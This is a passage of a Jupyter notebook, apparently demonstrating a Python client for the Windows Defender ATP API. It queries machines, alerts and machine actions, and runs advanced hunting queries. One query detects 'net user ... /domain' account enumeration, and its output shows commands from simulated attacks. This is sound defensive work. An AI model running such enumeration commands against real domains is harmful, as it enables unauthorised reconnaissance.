<th>@odata.context</th>\\n\",\n       \"      <th>aadDeviceId</th>\\n\",\n       \"      <th>agentVersion</th>\\n\",\n       \"      <th>computerDnsName</th>\\n\",\n       \"      <th>firstSeen</th>\\n\",\n       \"      <th>healthStatus</th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>isAadJoined</th>\\n\",\n       \"      <th>lastExternalIpAddress</th>\\n\",\n       \"      <th>lastIpAddress</th>\\n\",\n       \"      <th>lastSeen</th>\\n\",\n       \"      <th>machineTags</th>\\n\",\n       \"      <th>osBuild</th>\\n\",\n       \"      <th>osPlatform</th>\\n\",\n       \"      <th>osVersion</th>\\n\",\n       \"      <th>rbacGroupId</th>\\n\",\n       \"      <th>rbacGroupName</th>\\n\",\n       \"      <th>riskScore</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>10.5840.17763.1</td>\\n\",\n       \"      <td>desktop-jqlsi5j</td>\\n\",\n       \"      <td>2018-03-15T18:38:22.2435062Z</td>\\n\",\n       \"      <td>Active</td>\\n\",\n       \"      <td>c46e5570fbe248b00194c82a1a17541588b276fc</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>104.42.20.124</td>\\n\",\n       \"      <td>192.168.137.101</td>\\n\",\n       \"      <td>2018-11-29T12:48:07.5768316Z</td>\\n\",\n       \"      <td>[]</td>\\n\",\n       \"      <td>17763</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"      <td>10.0.0.0</td>\\n\",\n       \"      <td>72</td>\\n\",\n       \"      <td>avital test prd</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"                                      @odata.context aadDeviceId  \\\\\\n\",\n       \"0  https://api.securitycenter.windows.com/api/$me...        None   \\n\",\n       \"\\n\",\n       \"      agentVersion  computerDnsName                     firstSeen  \\\\\\n\",\n       \"0  10.5840.17763.1  desktop-jqlsi5j  2018-03-15T18:38:22.2435062Z   \\n\",\n       \"\\n\",\n       \"  healthStatus                                        id  isAadJoined  \\\\\\n\",\n       \"0       Active  c46e5570fbe248b00194c82a1a17541588b276fc        False   \\n\",\n       \"\\n\",\n       \"  lastExternalIpAddress    lastIpAddress                      lastSeen  \\\\\\n\",\n       \"0         104.42.20.124  192.168.137.101  2018-11-29T12:48:07.5768316Z   \\n\",\n       \"\\n\",\n       \"  machineTags  osBuild osPlatform osVersion  rbacGroupId    rbacGroupName  \\\\\\n\",\n       \"0          []    17763  Windows10  10.0.0.0           72  avital test prd   \\n\",\n       \"\\n\",\n       \"  riskScore  \\n\",\n       \"0      High  \"\n      ]\n     },\n     \"execution_count\": 47,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"wdatp_api.machines( machineid = 'c46e5570fbe248b00194c82a1a17541588b276fc')\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 48,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>osBuild</th>\\n\",\n       \"      <th>osPlatform</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>4ba08007cb47ed0b9730b3460ea843a979cd90ce</td>\\n\",\n       \"      <td>18290</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"                                         id  osBuild osPlatform\\n\",\n       \"0  4ba08007cb47ed0b9730b3460ea843a979cd90ce    18290  Windows10\"\n      ]\n     },\n     \"execution_count\": 48,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"# query machines associated with an alert\\n\",\n    \"wdatp_api.machines( alertid = '636698715877028436_-1454424532')[['id', 'osBuild','osPlatform']]\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 49,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>aadDeviceId</th>\\n\",\n       \"      <th>agentVersion</th>\\n\",\n       \"      <th>computerDnsName</th>\\n\",\n       \"      <th>firstSeen</th>\\n\",\n       \"      <th>healthStatus</th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>isAadJoined</th>\\n\",\n       \"      <th>lastExternalIpAddress</th>\\n\",\n       \"      <th>lastIpAddress</th>\\n\",\n       \"      <th>lastSeen</th>\\n\",\n       \"      <th>machineTags</th>\\n\",\n       \"      <th>osBuild</th>\\n\",\n       \"      <th>osPlatform</th>\\n\",\n       \"      <th>osVersion</th>\\n\",\n       \"      <th>rbacGroupId</th>\\n\",\n       \"      <th>rbacGroupName</th>\\n\",\n       \"      <th>riskScore</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>10.5840.17763.1</td>\\n\",\n       \"      <td>desktop-jqlsi5j</td>\\n\",\n       \"      <td>2018-03-15T18:38:22.2435062Z</td>\\n\",\n       \"      <td>Active</td>\\n\",\n       \"      <td>c46e5570fbe248b00194c82a1a17541588b276fc</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>104.42.20.124</td>\\n\",\n       \"      <td>192.168.137.101</td>\\n\",\n       \"      <td>2018-11-29T12:48:07.5768316Z</td>\\n\",\n       \"      <td>[]</td>\\n\",\n       \"      <td>17763</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"      <td>10.0.0.0</td>\\n\",\n       \"      <td>72</td>\\n\",\n       \"      <td>avital test prd</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"  aadDeviceId     agentVersion  computerDnsName                     firstSeen  \\\\\\n\",\n       \"0        None  10.5840.17763.1  desktop-jqlsi5j  2018-03-15T18:38:22.2435062Z   \\n\",\n       \"\\n\",\n       \"  healthStatus                                        id  isAadJoined  \\\\\\n\",\n       \"0       Active  c46e5570fbe248b00194c82a1a17541588b276fc        False   \\n\",\n       \"\\n\",\n       \"  lastExternalIpAddress    lastIpAddress                      lastSeen  \\\\\\n\",\n       \"0         104.42.20.124  192.168.137.101  2018-11-29T12:48:07.5768316Z   \\n\",\n       \"\\n\",\n       \"  machineTags  osBuild osPlatform osVersion  rbacGroupId    rbacGroupName  \\\\\\n\",\n       \"0          []    17763  Windows10  10.0.0.0           72  avital test prd   \\n\",\n       \"\\n\",\n       \"  riskScore  \\n\",\n       \"0      High  \"\n      ]\n     },\n     \"execution_count\": 49,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"# query machine by name\\n\",\n    \"wdatp_api.machines( filterstr = \\\"$filter=ComputerDnsName eq 'desktop-jqlsi5j'\\\")\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Querying machine actions\\n\",\n    \"You can query the actions that have been initiated against machines in WDATP.  You can query machines by Id, Status, MachineId, Type, Requestor and CreationDateTimeUtc\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 50,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>creationDateTimeUtc</th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>machineId</th>\\n\",\n       \"      <th>status</th>\\n\",\n       \"      <th>type</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>2018-11-30T20:32:54.3407439Z</td>\\n\",\n       \"      <td>28b0b0c2-acfd-4cb7-8c5f-37b5774d632b</td>\\n\",\n       \"      <td>109ee5bd252398b7c83b7122db44947c992f80e4</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>CollectInvestigationPackage</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>2018-11-30T20:32:53.0568627Z</td>\\n\",\n       \"      <td>aabe0556-d6a1-45e6-a0b7-c19dd4ae6164</td>\\n\",\n       \"      <td>51c74a0cd9caf8ee63ed2d3f81466b99a2c038fb</td>\\n\",\n       \"      <td>Succeeded</td>\\n\",\n       \"      <td>CollectInvestigationPackage</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>2018-11-30T20:32:51.8224634Z</td>\\n\",\n       \"      <td>9bff2220-6587-4412-96ae-1f5cccbecc15</td>\\n\",\n       \"      <td>25e322c874986fe85f9c4afc2b155c61fdf7f2c7</td>\\n\",\n       \"      <td>InProgress</td>\\n\",\n       \"      <td>CollectInvestigationPackage</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <td>2018-11-30T20:32:50.4342921Z</td>\\n\",\n       \"      <td>2ed2fca9-6c66-4d64-979f-92cb132e902a</td>\\n\",\n       \"      <td>2d4276b6e81756bdb28de338ca612777d75dd00f</td>\\n\",\n       \"      <td>Succeeded</td>\\n\",\n       \"      <td>CollectInvestigationPackage</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>4</th>\\n\",\n       \"      <td>2018-11-30T20:32:49.1999282Z</td>\\n\",\n       \"      <td>e77346b7-43c7-4f8f-a42a-aa687edd4dfb</td>\\n\",\n       \"      <td>b8cfddf97e14dfe6b1e4dc753cd32e833d6a481a</td>\\n\",\n       \"      <td>Succeeded</td>\\n\",\n       \"      <td>CollectInvestigationPackage</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"            creationDateTimeUtc                                    id  \\\\\\n\",\n       \"0  2018-11-30T20:32:54.3407439Z  28b0b0c2-acfd-4cb7-8c5f-37b5774d632b   \\n\",\n       \"1  2018-11-30T20:32:53.0568627Z  aabe0556-d6a1-45e6-a0b7-c19dd4ae6164   \\n\",\n       \"2  2018-11-30T20:32:51.8224634Z  9bff2220-6587-4412-96ae-1f5cccbecc15   \\n\",\n       \"3  2018-11-30T20:32:50.4342921Z  2ed2fca9-6c66-4d64-979f-92cb132e902a   \\n\",\n       \"4  2018-11-30T20:32:49.1999282Z  e77346b7-43c7-4f8f-a42a-aa687edd4dfb   \\n\",\n       \"\\n\",\n       \"                                  machineId      status  \\\\\\n\",\n       \"0  109ee5bd252398b7c83b7122db44947c992f80e4        None   \\n\",\n       \"1  51c74a0cd9caf8ee63ed2d3f81466b99a2c038fb   Succeeded   \\n\",\n       \"2  25e322c874986fe85f9c4afc2b155c61fdf7f2c7  InProgress   \\n\",\n       \"3  2d4276b6e81756bdb28de338ca612777d75dd00f   Succeeded   \\n\",\n       \"4  b8cfddf97e14dfe6b1e4dc753cd32e833d6a481a   Succeeded   \\n\",\n       \"\\n\",\n       \"                          type  \\n\",\n       \"0  CollectInvestigationPackage  \\n\",\n       \"1  CollectInvestigationPackage  \\n\",\n       \"2  CollectInvestigationPackage  \\n\",\n       \"3  CollectInvestigationPackage  \\n\",\n       \"4  CollectInvestigationPackage  \"\n      ]\n     },\n     \"execution_count\": 50,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"wdatp_api.machine_actions(filterstr = \\\"$top=5&filter=Status eq 'Succeeded'&$select=creationDateTimeUtc,id,machineId,status,type\\\")\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Hunting\\n\",\n    \"One of the most powerful things you can do with API is run hunting queries. This allows you to access \\n\",\n    \"the rich data that WDATP collects from endpoints. The following tables are exposed as part of Advanced hunting:\\n\",\n    \"\\n\",\n    \"-  AlertEvents - Alerts on Windows Defender Security Center\\n\",\n    \"-  MachineInfo - Machine information, including OS information\\n\",\n    \"-  MachineNetworkInfo - Network properties of machines, including adapters, IP and MAC addresses, as well as connected networks and domains\\n\",\n    \"-  ProcessCreationEvents - Process creation and related events\\n\",\n    \"-  NetworkCommunicationEvents - Network connection and related events\\n\",\n    \"-  FileCreationEvents - File creation, modification, and other file system events\\n\",\n    \"-  RegistryEvents - Creation and modification of registry entries\\n\",\n    \"-  LogonEvents - Login and other authentication events\\n\",\n    \"-  ImageLoadEvents - DLL loading events\\n\",\n    \"-  MiscEvents - Multiple event types, such as process injection, creation of scheduled tasks, and LSASS access attempts\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 51,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>AccountName</th>\\n\",\n       \"      <th>EventTime</th>\\n\",\n       \"      <th>InitiatingProcessCommandLine</th>\\n\",\n       \"      <th>InitiatingProcessParentFileName</th>\\n\",\n       \"      <th>ProcessCommandLine</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>2018-11-30T15:46:10.3661944Z</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\MyTools\\\\SimulateDetections\\\\Wind...</td>\\n\",\n       \"      <td>svchost.exe</td>\\n\",\n       \"      <td>net  user Bob1 /domain</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>2018-11-30T15:46:11.0601431Z</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\MyTools\\\\SimulateDetections\\\\Wind...</td>\\n\",\n       \"      <td>svchost.exe</td>\\n\",\n       \"      <td>net  user BobX /domain</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>2018-11-29T12:00:10.5473958Z</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>svchost.exe</td>\\n\",\n       \"      <td>net  user Bob1 /domain</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>2018-11-29T12:00:11.0519938Z</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>svchost.exe</td>\\n\",\n       \"      <td>net  user BobX /domain</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"     AccountName                     EventTime  \\\\\\n\",\n       \"0  administrator  2018-11-30T15:46:10.3661944Z   \\n\",\n       \"1  administrator  2018-11-30T15:46:11.0601431Z   \\n\",\n       \"2  administrator  2018-11-29T12:00:10.5473958Z   \\n\",\n       \"3  administrator  2018-11-29T12:00:11.0519938Z   \\n\",\n       \"\\n\",\n       \"                        InitiatingProcessCommandLine  \\\\\\n\",\n       \"0  cmd.exe /c \\\"C:\\\\MyTools\\\\SimulateDetections\\\\Wind...   \\n\",\n       \"1  cmd.exe /c \\\"C:\\\\MyTools\\\\SimulateDetections\\\\Wind...   \\n\",\n       \"2  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"3  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"\\n\",\n       \"  InitiatingProcessParentFileName       ProcessCommandLine  \\n\",\n       \"0                     svchost.exe  net  user Bob1 /domain   \\n\",\n       \"1                     svchost.exe  net  user BobX /domain   \\n\",\n       \"2                     svchost.exe  net  user Bob1 /domain   \\n\",\n       \"3                     svchost.exe  net  user BobX /domain   \"\n      ]\n     },\n     \"execution_count\": 51,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"## look for process creation events where someone ran:  net.exe user foo /domain\\n\",\n    \"\\n\",\n    \"wdatp_api.query( query = '''\\n\",\n    \"ProcessCreationEvents\\n\",\n    \"| where EventTime > ago(3d)\\n\",\n    \"| where FileName == 'net.exe'\\n\",\n    \"| where ProcessCommandLine contains ' user ' and ProcessCommandLine contains ' /do' and ProcessCommandLine !contains ' /ad'\\n\",\n    \"| project EventTime, ProcessCommandLine , InitiatingProcessCommandLine , InitiatingProcessParentFileName , AccountName \\n\",\n    \"| sort by InitiatingProcessParentFileName\\n\",\n    \"''')\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Automate common steps\\n\",\n    \"\\n\",\n    \"By scripting together commands you can start to automate common steps.\\n\",\n    \"\\n\",\n    \"Let's query the most recent alert and then gather process creation records around the timeframe of the alert\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 52,\n   \"metadata\": {\n    \"scrolled\": true\n   },\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"title: Permissive ACL weakens overall system security\\n\",\n      \"category: Persistence\\n\",\n      \"alert id: 636790897753262340_843007043\\n\",\n      \"Number of records found 235\\n\"\n     ]\n    },\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>ActionType</th>\\n\",\n       \"      <th>AppGuardContainerId</th>\\n\",\n       \"      <th>EventTime</th>\\n\",\n       \"      <th>InitiatingProcessAccountName</th>\\n\",\n       \"      <th>InitiatingProcessCommandLine</th>\\n\",\n       \"      <th>InitiatingProcessCreationTime</th>\\n\",\n       \"      <th>InitiatingProcessFileName</th>\\n\",\n       \"      <th>InitiatingProcessFolderPath</th>\\n\",\n       \"      <th>InitiatingProcessId</th>\\n\",\n       \"      <th>InitiatingProcessIntegrityLevel</th>\\n\",\n       \"      <th>...</th>\\n\",\n       \"      <th>pack_.LogonId</th>\\n\",\n       \"      <th>pack_.MD5</th>\\n\",\n       \"      <th>pack_.ProcessCommandLine</th>\\n\",\n       \"      <th>pack_.ProcessCreationTime</th>\\n\",\n       \"      <th>pack_.ProcessId</th>\\n\",\n       \"      <th>pack_.ProcessIntegrityLevel</th>\\n\",\n       \"      <th>pack_.ProcessTokenElevation</th>\\n\",\n       \"      <th>pack_.SHA1</th>\\n\",\n       \"      <th>pack_.SHA256</th>\\n\",\n       \"      <th>source_</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>FileCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:01.802793Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>FileCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:02.9435967Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>2a904387c6831d0ffdd877e35ef02d56</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>d520ad2ee2ab194e2fa2ae1733f273781b44d83c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>FileModified</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:03.0059329Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd  /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...</td>\\n\",\n       \"      <td>2018-11-29T12:00:02.651484Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>5260</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>1ba79a1aad55d1a21114d46ec5cc9f56</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>4565766792d2562b01b8407ad7f369195f4830a4</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <td>FileCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:03.0059329Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>558d69e83dbb77e85d4ee0f59b4231e7</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>c4613d0f849a1c577db3117229f4b6b001ff626c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>4</th>\\n\",\n       \"      <td>FileCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:02.9903021Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>2a904387c6831d0ffdd877e35ef02d56</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>d520ad2ee2ab194e2fa2ae1733f273781b44d83c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>5</th>\\n\",\n       \"      <td>FileCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:01.573237Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      